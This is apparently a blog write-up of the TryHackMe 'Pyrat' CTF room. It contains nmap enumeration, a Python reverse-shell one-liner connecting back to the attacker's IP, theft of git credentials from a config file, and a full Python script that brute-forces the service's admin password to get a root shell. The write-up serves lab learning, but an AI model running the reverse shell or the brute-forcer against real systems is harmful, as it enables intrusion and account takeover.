Post

TryHackMe - Pyrat


Pyrat from TryHackMe involves exploiting a python script running on the machine to get both foothold and privilege escalation, but the last part requires us to write a script to brute force a password in order to get a root shell.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Nmap scan report for 10.10.237.127                                                                       
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)                                                                  
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)          
| ssh-hostkey:                                                                                           
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2 
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined

We found two ports, 22 running openssh and 8000 running a python simple http server.

Web

Let’s check the web page on port 8000.

web

It said to try a basic connection, let’s try netcat.

1
2
3
4
┌─[]─[10.9.4.213]─[sirius@parrot]─[~/ctf/thm/pyrat]
└──╼ [★]$ nc 10.10.248.81 8000
hi
name 'hi' is not defined

We connected successfully, I typed hi and got an error.

If we copy that error to google we see that’s it’s python error.

Let’s try running some python commands.

1
2
3
4
5
print("hi")
hi

print(1+1)
2

It worked, this means that this service is executing python code.

Foothold

Let’s run a python reverse shell.

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.4.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

shell

Privilege Escalation

www-data -> think

Doing some manual enumeration on the system we find an interesting directory in /opt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@Pyrat:/$ cd /opt/dev/
www-data@Pyrat:/opt/dev$ ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git
www-data@Pyrat:/opt/dev$ cd .git/
www-data@Pyrat:/opt/dev/.git$ ls
branches        config       HEAD   index  logs     refs
COMMIT_EDITMSG  description  hooks  info   objects
www-data@Pyrat:/opt/dev/.git$ cat config 
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = ***REDACTED***

we found a ``git` directory with a config file containing credentials.

Let’s switch to user think

1
2
3
4
www-data@Pyrat:/opt/dev/.git$ su think
Password: 
think@Pyrat:/opt/dev/.git$ id
uid=1000(think) gid=1000(think) groups=1000(think)

Great! We got user think

think -> root

Checking the git log we find only one commit:

1
2
3
4
5
6
think@Pyrat:/opt/dev/.git$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

I saw the github username josemlwdf and pasted in to google and found this account https://github.com/josemlwdf.

It’s the room’s authors account where we can find the repository of the service running on port 8000 ‘pyrat.

Checking the readme we find an interesting part:

Admin: To access the admin functionality, type admin and press Enter. You will be prompted to enter a password. Enter the password and press Enter. If the password is correct, you will see the message “Welcome Admin!!! Type ‘shell’ to begin”. You can then proceed to use the shell functionality.

Let’s try that

1
2
3
4
5
6
7
8
9
┌─[]─[10.9.4.213]─[sirius@parrot]─[~/ctf/thm/pyrat]
└──╼ [★]$ nc 10.10.248.81 8000
admin
Password:
admin
Password:
password
Password:
pass123

The functionality works but we don’t have a password.

Reading through the script I found the password testpass but it didn’t work.

The next step now is to brute force the password.

I wrote the following script that does that https://github.com/NasrallahBaadi/CTF-Scripts/tree/main/TryHackMe/pyrat.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import socket
import sys
import argparse

def read_passwords(file_path):
    with open(file_path, "r", encoding='utf-8', errors='ignore') as f:
        for line in f:
            yield line.strip("\n")

def bruteforce(host, port, file_path):
    print("[+] Starting the script")
    try:
        for password in read_passwords(file_path):
        
        # Create a socket connection
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client.connect((host, port))

        # Send the word 'admin'
            client.sendall(b"admin")
            response = client.recv(1024).decode('utf-8')
        # Send the password
            client.sendall(bytes(password, encoding='utf8'))
            response = client.recv(1024).decode('utf-8')
            
            # Clear the previous output line completely using ANSI escape codes
            sys.stdout.write('\033[2K\033[1G')
            sys.stdout.write(f"[+] Trying password: {password}")
            sys.stdout.flush()

            if 'Welcome Admin' in response:
                sys.stdout.write('\033[2K\033[1G')
                print(f"[+] Password is: {password}")
                client.close()
                sys.exit(0)

            client.close()
    except Exception as e:
        print(f"[ERROR] Connection failed: {e}")

def main():
    # Example on how to use the script
    example = '''
    Example:
        python3 pyrat_brute.py -i 10.10.10.10 -f /usr/share/wordlists/rockyou.txt
'''
    
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="Brute force admin password of pyRAT.", epilog=example, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument('-i', '--ip', help='IP address of the target', required=True, metavar='ip_address')
    parser.add_argument('-f', '--file', help='Password list file', required=True, metavar='file_path')
    args = parser.parse_args()


    host = args.ip
    port = 8000
    file_path = args.file
    
    # Calling bruteforce function
    bruteforce(host, port, file_path)

if __name__ == "__main__":
    main()

The script takes two arguments: -i which is the ip address of the target and -f which is the password list location.

1
2
3
$ python hac.py -i 10.10.248.81 -f /usr/share/wordlists/rockyou.txt
[+] Starting the script
[+] Password is: REDACTED

And we got the password, now let’s authenticate.

1
2
3
4
5
6
7
8
9
$ nc 10.10.248.81 8000
admin
Password:
REDACTED
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)

Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).


References

https://github.com/NasrallahBaadi/CTF-Scripts/tree/main/TryHackMe/pyrat

This post is licensed under CC BY 4.0 by the author.